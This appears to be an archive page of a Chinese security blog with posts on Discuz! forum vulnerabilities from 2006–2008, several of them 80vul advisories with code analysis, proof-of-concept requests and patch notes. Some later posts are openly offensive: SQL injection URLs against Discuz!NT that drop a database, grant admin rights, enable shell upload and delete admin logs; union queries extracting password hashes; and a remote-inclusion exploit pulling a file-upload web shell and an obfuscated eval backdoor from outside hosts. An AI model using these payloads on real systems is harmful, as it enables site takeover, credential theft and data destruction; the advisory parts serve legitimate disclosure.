存档

文章标签 ‘Discuz’

Discuz! member.php xss bug

2008年11月5日 没有评论 90 views

由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.
author: 80vul-B
team:http://www.80vul.com

一 分析

member.php代码:


if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) {
//这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)
$type = $adminid == 1 ? 'grouplist' : $type;
} else {
$listgid = '';
}
...
$multipage = multi($num, $memberperpage, $page, "member.php?action=list&listgid=$listgid&srchmem=".rawurlencode($srchmem)."&order=$order&type=$type", $membermaxpages);

二 利用

poc:

poc:
http://www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
会员列表页面存在分页时触发

三 补丁[fix]

刚发布的dz7 bt版本[1]已经fix这个漏洞了:

if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) {
$type = $adminid == 1 ? 'grouplist' : $type;
} else {
$listgid = '';
}

[1]:http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip

分类: 技术文章 标签: , ,

Discuz! admin\runwizard.inc.php get-webshell bug

2008年11月4日 没有评论 93 views

author: 80vul-A
team:http://www.80vul.com

由于Discuz!的admin\runwizard.inc.php里saverunwizardhistory()写文件操作没有限制导致执行代码漏洞.

一 分析

在文件admin\runwizard.inc.php里代码:

$runwizardhistory = array();
$runwizardfile = DISCUZ_ROOT.'./forumdata/logs/runwizardlog.php';
if($fp = @fopen($runwizardfile, 'r')) {
$runwizardhistory = @unserialize(fread($fp, 99999));
fclose($fp);
}
.......

if(submitcheck('step1submit')) {
$runwizardhistory['step1']['size'] = $size;
$runwizardhistory['step1']['safe'] = $safe;
$runwizardhistory['step1']['func'] = $func;
saverunwizardhistory();
}
........

function saverunwizardhistory() {
global $runwizardfile, $runwizardhistory;
$fp = fopen($runwizardfile, 'w');
fwrite($fp, serialize($runwizardhistory));
fclose($fp);
}

上面代码可以看出来当有后台权限时,可以直接得到webshell.如果结合xss[如:SODB-2008-01,SODB-2008-02..等] crsf[如:SODB-2008-03]等漏洞,可以直接通过admin身份远程写入webshell执行代码.

二 利用

poc:

POST /bbs/admincp.php?action=runwizard&step=3 HTTP/1.1
Host: www.80vul.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.80vul.com/bbs/admincp.php?action=runwizard&step=2
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 207

formhash=a1ae055f&anchor=&settingsnew%5Bbbname%5D=%3C%3Fphpinfo%28%29%3B%3F%3E&settingsnew%5Bsitename%5D=Comsenz+Inc.&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%CF%C2%D2%BB%B2%BD

webshell:

http://www.80vul.com/bbs/forumdata/logs/runwizardlog.php

三 补丁[fix]

今天发布的dz7 bt版本[1]已经fix这个漏洞了:

function saverunwizardhistory() {
global $runwizardfile, $runwizardhistory;
$fp = fopen($runwizardfile, 'w');
$s = '<?php exit;?>';
$s .= serialize($runwizardhistory);
fwrite($fp, $s);
fclose($fp);
}

[1]:http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip

分类: 技术文章 标签: ,

Discuz! moderation.inc.php 数据库'注射' bug

2008年11月3日 没有评论 60 views

由于Discuz!d的include/moderation.inc.php存在一个'二次攻击'导致数据库'注射'的bug
author: 80vul-B
team:http://www.80vul.com

一 分析

在文件include/moderation.inc.php里代码:

$threadlist = $loglist = array();
if($tids = implodeids($moderate)) {
$query = $db->query("SELECT * FROM {$tablepre}threads WHERE tid IN ($tids) AND fid='$fid' AND displayorder>='0' AND digest>='0' LIMIT $tpp");
while($thread = $db->fetch_array($query)) {
...
$threadlist[$thread['tid']] = $thread;
...
foreach($threadlist as $tid => $thread) {
...
if($type == 'redirect') {
$db->query("INSERT INTO {$tablepre}threads (fid, readperm, iconid, author, authorid, subject, dateline, lastpost, lastposter, views, replies, displayorder, digest, closed, special, attachment)
VALUES ('$thread[fid]', '$thread[readperm]', '$thread[iconid]', '".addslashes($thread['author'])."', '$thread[authorid]', '".addslashes($thread['subject'])."', '$thread[dateline]', '$thread[dblastpost]', '$thread[lastposter]', '0', '0', '0', '0', '$thread[tid]', '0', '0')");

这个比较明显,从数据库查询出的值$thread[lastposter]直接带入了insert语句中,导致了注射:)
这个看上去比上面的那个用处大些,其实有很多的限制.首先$thread[lastposter]是从数据库中查询出来的值,有字数限制[不能大于15个字符];其次,这个地方需要版主权限才能操作.

二 利用

注册新用户,用户名为80vul',发表新回复,然后用拥有版主权限的账号将此帖转移,移动方式选为[移动主题并在原来的版块中保留转向],和上面的效果一样,执行时数据库报错了:)

三 补丁[fix]
等待官方补丁.

分类: 技术文章 标签: ,

Discuz! trade.php 数据库'注射' bug

2008年11月3日 没有评论 64 views

由于Discuz!d的trade.php里的$message处理不严格导致引起数据库操作错误,通过SODB-2008-06而导致xss攻击及数据库信息泄露的漏洞.
author: 80vul-B
team:http://www.80vul.com

一 分析

文件trade.php:


$message = trim($message);
if($message) {
$message = daddslashes($tradelog['message'], 1)."\t\t\t".$discuz_uid."\t".$discuz_user."\t".$timestamp."\t".nl2br(strip_tags(substr($message, 0, 200)));
//$message用substr处理了下,取前200个字符
} else {
$message = daddslashes($tradelog['message'], 1);
}

$db->query("UPDATE {$tablepre}tradelog SET status='$offlinestatus', lastupdate='$timestamp', message='$message' WHERE orderid='$orderid'");
//这个地方$message直接进入sql语句了:)
showmessage('trade_orderstatus_updated', 'trade.php?orderid='.$orderid);
}

把199个A和一个'赋值给message,经过gpc处理后$message的值为199个A和\',在经过substr的处理变为199个A和\,这样带入sql语句,执行时就会报错了:).由于$orderid被过滤导致没有办法利用这个进行'有效'的sql注射漏洞,但是可以利用mysql的错误信息得到表名的前缀等信息,还有就是可能通过进行xss攻击?

二 利用

poc:

POST discuz/trade.php/<script>alert(/xss/)</script>?orderid=20081101133833f8ePgzOquj6UdcKUVq HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/discuz/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Cookie: pbK_auth=488bbzQZdkZGTyZFGMWesQH%2BAKOb5YMEQOhJ6qQC9YuWhZWtHn4wduYOvNf9b%2BLYe7g3rPPH%2FEi1HspTnSCZow
Content-Length: 426
Content-Type: application/x-www-form-urlencoded
Connection: Close

formhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&newnumber=1&newbuyername=80vul&newbuyercontact=80vul&newbuyerzip=12345&newbuyerphone=123122&newbuyermobile=121312312

三 补丁[fix]
等待官方补丁

分类: 技术文章 标签: ,

Discuz! 数据库错误信息xss bug

2008年11月3日 没有评论 62 views

由于Discuz!在处理数据库的错误信息时对$GLOBALS['PHP_SELF']没有过滤,导致在让数据库出错的情况下导致xss攻击.
author: 80vul-B
team:http://www.80vul.com

一 分析

在文件include\db_mysql_error.inc.php里代码:


if($message) {
$errmsg = "<b>Discuz! info</b>: $message\n\n";
}
if(isset($GLOBALS['_DSESSION']['discuz_user'])) {
$errmsg .= "<b>User</b>: ".htmlspecialchars($GLOBALS['_DSESSION']['discuz_user'])."\n";
}
$errmsg .= "<b>Time</b>: ".gmdate("Y-n-j g:ia", $timestamp + ($GLOBALS['timeoffset'] * 3600))."\n";
$errmsg .= "<b>Script</b>: ".$GLOBALS['PHP_SELF']."\n\n";
if($sql) {
$errmsg .= "<b>SQL</b>: ".htmlspecialchars($sql)."\n";
}
$errmsg .= "<b>Error</b>:  $dberror\n";
$errmsg .= "<b>Errno.</b>:  $dberrno";

$GLOBALS['PHP_SELF']确实过滤,导致在出现sql错误信息时利用$GLOBALS['PHP_SELF']进行xss攻击.

二 利用

需要结合其他的让出现错误信息的漏洞.

三 补丁[fix]

过滤$GLOBALS['PHP_SELF']

分类: 技术文章 标签: , ,

Discuz! 4.x wap\index.php 变量覆盖漏洞

2008年11月3日 没有评论 66 views

由于Discuz!的wap\index.php处理post的变量不严谨而导致变量覆盖,从而可能导致sql注射/代码执行/xss等攻击.
author: 80vul-B
team:http://www.80vul.com

一 分析

Discuz!4.x一直存在着一个变量覆盖漏洞n年了.代码如下:

$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = $chs->Convert($value); //foreach处理$_POST导致变量覆盖
}
unset($chs);

在此代码前还包含了很多变量初始化的文件,那些初始化了的变量[比如forumdata/cache/cache_forums.php里的变量]通过上面的代码后都可能被覆盖后注射非法代码,而导致sql注射/代码执行/xss等严重的漏洞.

二 利用

poc: 暂缺

三 补丁[fix]

该漏洞存在于Discuz!4.x很多年了,在fix号:20080804里[1]补丁那个wap宽字节漏洞时被一起偷偷补丁了,补丁代码:


$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = addslashes(stripslashes($chs->Convert($$key)));
}
unset($chs);
}

[1]http://www.discuz.net/thread-1008182-1-1.html

分类: 技术文章 标签:

Discuz! cache.func.php 信息泄漏 bug

2008年11月3日 没有评论 54 views

由于Discuz!的\include\cache.func.php缺少访问限制导致版本及补丁消息的泄露.
author: 80vul-A
team:http://www.80vul.com

漏洞存在于文件\include\cache.func.php里的代码如下:

define('DISCUZ_KERNEL_VERSION', '6.1.0');
define('DISCUZ_KERNEL_RELEASE', '20080418');

if(isset($_GET['kernel_version'])) {
exit('Crossday Discuz! Board<br />Developed by Comsenz Inc.<br /><br />Version: '.DISCUZ_KERNEL_VERSION.'<br />Release: '.DISCUZ_KERNEL_RELEASE);
} elseif(!defined('IN_DISCUZ')) {
exit('Access Denied');
}

提交kernel_version的时会显示版本及补丁信息,如果攻击者结合google-hacking等技术很容易找到没有升级的程序,导致mass类攻击.

poc:

http://www.discuz.net/include/cache.func.php?kernel_version=1

显示:

Crossday Discuz! Board
Developed by Comsenz Inc.

Version: 7.0.0
Release: 20081031

[难道官方是打算1031发布7.00,不知道杂的又推迟了:(]

分类: 技术文章 标签: ,

Discuz! admincp.php xss bug

2008年11月3日 没有评论 92 views

由于Discuz!的后台登陆文件$url_forward没有过滤导致一个严重的xss bug.
author: 80vul-B
team:http://www.80vul.com

漏洞存在于文件admin/login.inc.php里$url_forward没有被过滤导致xss漏洞:

<input type="hidden" name="url_forward" value="$url_forward">

poc:
http://127.0.0.1/discuz/admincp.php?url_forward=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
[管理员或版主前台登录,但未登录后台时触发]

分类: 技术文章 标签: , ,

Discuz! [flash] xss bug

2008年10月29日 没有评论 55 views

一 分析
其实该漏洞在2007年就公布过了[1],但是经过80vul-A测试改漏洞一直没有被修补。该漏洞的分析主要点如下:

第一:Discuz!把allowScriptAccess设置为sameDomain:<param name="allowScriptAccess" value="sameDomain">我们只需要把swf文件上传到目标上就可以使用[flash]调用我们构造的swf了。

第二:由于html调用flash是不限制后缀的,所以攻击者可以用图片文件的后缀如gif通过论坛的上传功能上传,上传功能只是使用了getimagesize()来判断,但是swf一样可以通过该函数。

二 利用

flash的原文件:http://www.80vul.com/dzvul/sodb/01/sodb-2008-01.fla

as代码如下:getURL("javascript:alert(document.cookie)", "_self", "GET");

三 补丁

1.等待官方补丁
2.可以暂时关闭flash标签.

四 参考

[1]:http://superhei.blogbus.com/logs/11792433.html

分类: 技术文章 标签:

Discuz!NT 2.5(20080826更新前)注入

2008年8月30日 没有评论 67 views

漏洞说明:Discuz!NT 2.5 是康盛创想(北京)科技有限公司旗下的一款功能强大的基于 ASP.net 平台的社区软件。基于先进的 .Net Framework,默认支持 SQLServer数据库,可扩展支持Access、MySQL等多种数据库,支持IIS5、IIS6、IIS7,安全高效、稳定易用,充分发挥 ASP.net 特性,支持自由选择切换皮肤,支持多种其它论坛的数据转换。
Discuz!NT 2.5 强化论坛功能,提高速度和稳定性,负载能力也有显著改善,在此基础上还将提供包括商品交易、空间、相册等强大功能的插件包,供用户自由选择安装,体现出强大的伸缩扩展性。无论是从功能、性能,还是从支持环境等角度来看,都是目前最为完善和成熟 ASP.net 社区软件。但是ISTO成员在其中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限,从而控制整个网站。

漏洞厂商:http://www.comsenz.com

漏洞解析:在 Discuz!NT 2.5(20080826更新前)版本中showuser.aspx页面由于对ordertype变量没处理好!导致SQL注入,恶意攻击用户甚至不用注册账户,只要精心构造ordertype即可利用此漏洞。

漏洞测试:
http://www.*.com/bbs/showuser.aspx?ordertype=desc;drop database kj;--

http://www.*.com/bbs/showuser.aspx?ordertype=desc;update dnt_users set adminid='1',groupid='1' where username='webtets';--//更新为管理员

http://www.*.com/bbs/showuser.aspx?ordertype=desc;update dnt_attachtypes set extension='aspx' where extension='jpg';-- //更新为aspx可上传

得到SHELL后...

http://www.*.com/bbs/showuser.aspx?ordertype=desc;update dnt_attachtypes set extension='jpg' where extension='aspx';-- //更新回JPG

http://www.*.com/bbs/showuser.aspx?ordertype=desc;delete from dnt_adminvisitlog where username='webtets';-- //删除日志

http://www.*.com/bbs/showuser.aspx?ordertype=desc;update dnt_users set adminid='',groupid='' where username='webtets';--//取消管理员

分类: 技术文章 标签:

DZ5 0day以及出15位密码的解决方法

2007年4月24日 没有评论 71 views

可乐`s Blog
0) union select left(password,15),2,0 from cdb_members where uid=1/*
这句得到MD5前15位
0) union select SUBSTRING(password,16,15),2,0 from cdb_members where uid=1/*
这句得到MD5 16-30位
0) union select right(password,2),2,0 from cdb_members where uid=1/*
这句得到MD5 31-32位

分类: 技术文章 标签:

Discuz!许愿池插件远程包含漏洞

2006年10月16日 没有评论 84 views

昨天从Cnfjhh那里得到消息的。
今天看到有人公布了,火狐那里也发布利用工具了,我就也发出来。
许愿池插件的wish.php文件出的问题:


require $discuz_root.'./include/discuzcode.func.php';

手工利用方法:
远程包含漏洞,变量discuz_root过滤不严,利用方法:
http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt?
不一定非要txt后缀,可以改为任意后缀,后面一定要记得加问号。
这里xxxx.txt用CN.Tink的那个小马写个shell进去:

<?copy($_FILES[MyFile][tmp_name],"C:\Inetpub\vhosts\baidu.com\bbs\guizai.php");?>
<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>

网站物理路径可以通过提交http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt ,看错误提示信息,然后修改xxxx.txt中的路径即可。 guizai.php就是你上传的shell的名字。

火狐9xiao哥的方法:

<?echo '<?' ?>
if(!file_exists('forumdata/cache/9xiao.php'))
{
fputs(fopen('forumdata/cache/9xiao.php','a+'),'Am i a hacker? --9xiao <?echo '<?' ?>eval($_POST[9xiao]);<?echo '?>'?>');
}
<?echo '?>'?>

放到网站include目录下下命名为discuzcode.func.php
exp格式www.xxx.com/wish.php?discuz_root=http://9xiao.net,然后访问www.xxx.com/forumdata/cache/9xiao.php,为lanker的一句话木马服务器端

<?echo '<?' ?>
if(!file_exists('forumdata/cache/9xiao.php'))
{
<?fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62))?>
}
<?echo '?>'?>



火狐那里发布了利用工具:
通杀的远程包含漏洞利用工具 2.0
http://wrsky.com/read.php?tid=5289&fpage=1

Discuz!论坛 wish.php远程包含漏洞利用工具
http://wrsky.com/read.php?tid=5274&fpage=1

分类: 技术文章 标签: